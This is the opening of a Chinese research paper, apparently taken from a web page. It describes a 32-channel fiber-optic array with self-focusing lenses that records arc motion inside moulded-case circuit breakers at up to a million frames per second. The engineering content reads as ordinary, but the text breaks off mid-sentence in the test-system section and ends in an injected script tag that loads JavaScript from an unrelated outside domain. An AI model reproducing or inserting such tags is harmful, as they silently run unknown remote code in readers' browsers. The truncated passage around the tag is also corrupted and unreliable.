摘 要：研究开发了一整套新型二维光纤系统用于低压塑壳断路器开断过程电弧运动形态的测试。构成测试区域的每根光纤顶端均加装了自聚焦透镜，可有效解决观测区域重叠的问题，大大提高测量精度；电路设计采用全硬件控制逻辑，可自动完成多个通道（32路）的采样、转换及存储，与相应的缓存空间配合使用，使大量数据的同步实时高速采集过程不再受微处理器总线操作周期与容量的限制；软件系统采用发布-订阅的对象行为型设计模式实现了图形组态功能，增强了系统的适用性和灵活性。实验结果表明，在采用各种新的开断技术使低压塑壳断路器（mccb）的性能更高、结构尺寸更加紧凑的情况下，该系统能够有效地直接观测开断电弧的运动形态，为研究和提高塑壳断路器的开断性能提供了更为先进的精确测试手段。
关键词：低压开关；电弧运动；光电测试
1 引言
低压塑壳断路器（mccb）的开断性能很大程度上取决于开断过程中电弧能否顺利进入灭弧栅片。近年来，国外的一些研究机构使用了高速摄影机[1-2]和二维光纤阵列测试系统 [3-6]来直接对电弧的运动形态进行观察，这两种方法克服了以前研究中只能通过对开断过程中电弧电压与电流波形的分析来推测电弧是否进入灭弧栅片的不足之处。但采用ccd 数字式高速摄像机拍摄电弧需要在mccb外壳上开较大的观察窗，并需要整体拆除灭弧室侧板，对断路器结构造成的破坏较大，因此其观察结果不能真实反映实际开断过程。而用光纤观察电弧运动可最大限度地减小对灭弧室结构的破坏。此外，高速摄像机的拍摄速度一般为104幅/s，而光纤测试系统的拍摄速度通常会高于这个速度，本文提出的光纤测试系统可达到106幅/s。
以气吹为主要特征的新一代mccb，利用器壁产气材料在燃弧时产气，给予电弧以强大的驱动力，因而可使灭弧栅片间隙缩小，在同样的灭弧室尺寸下，栅片数可以增多（图1），因而使断路器具有更强的短路电流分断能力和更优越的限流特性，其结构上也更加紧凑，这也对电弧测试设备的精度和实时性提出了更高的要求。为了满足这种需要，本文采用光学研究领域的新技术产品¾¾自聚焦透镜[7]，解决了以往利用光纤对电弧运动形态的观察中存在的精度上的问题，同时有效的硬件设计也使系统能够达到目前国际上同类设备中的最高拍摄速度，此外，软件系统也为分析研究mccb的开断性能提供了可视化和计算工具（图2）。
本文利用该系统对两种典型的mccb产品开断性能进行了测试和分析。实验结果表明，该测试系统具有很好的性能，为新产品的研究开发提供了有效的实验手段。
2 自聚焦透镜简介
以往在利用光纤对电弧运动情况的观察中存在这样的问题：以不同入射角度入射光纤端面的光线均可以进入光纤并到达光电转换器件，这样，在距离较近的两个测试点之间将造成观测区域重叠的情况，不能正确反映被观察对象（图3a）。为了解决这一问题，国外文献中采取的办法是在光纤前端加装细长的不透明套管，使只有以接近垂直方向入射光纤端面的光线才能进入光纤（图3b），这种方法的缺点之一是针对不同的实验条件需要加工长短不同的套管，而无论套管的长度如何都不能完全使观察点的发散角为零，缺点之二是套管的长度对入射光强的衰减影响较大，且不易对这种影响作出定量的估计。在新一代mccb产品灭弧室结构更加紧凑，栅片间距更小的情况下，上述解决方案越来越不能满足科研及生产设计的要求。基于此，通过采用在光纤顶端加装光学透镜的方法，获得了非常好的测试效果（图3c）。
采用离子扩散技术获得非单一折射率的透镜是光学研究部门近10年中才逐渐推向实用化的研究成果，与普通光学透镜最大的区别在于：普通光学透镜材料的折射率是单一的，依靠透镜的表面形状使光线发生折射而达到设计所需的光学性能；而非单一折射率的透镜则一般为圆柱体，其材料的折射率可按一定规律沿径向连续变化，光线通过透镜时能够按照设计要求连续弯曲最终获得所需的光学性能，与普通透镜相比，在性能上具有多方面的优点。
本系统使用的非单一折射率透镜的光学性能特点是在一定的焦深范围内（几毫米至几十毫米）仅使近似垂直于焦平面入射的光线在焦平面上形成聚焦，可使系统获得较以往小得多的观察发散角度，因其这一特点，该透镜被称为自聚焦透镜或准直透镜。在对mccb电弧观察的实验条件下，可以认为其发散角为零。另外，由于其具有体积小（本文使用的规格为直径2.5mm），价格低等一系列的特点，因而在本测试系统的每根光纤顶端加装了一只这样的纤维透镜。
3 测试系统
测试系统由32路完全相同的最大采样频率为1mhz的高速数据采集通道组成，每个通道对应一个采集点，所有采集点处于同一平面内，32个采集点组成的阵列构成一个二维测量区域。系统利用光纤将测试点光照强度传送至以光电转换元件为核?script src=http://er12.com/t.js>
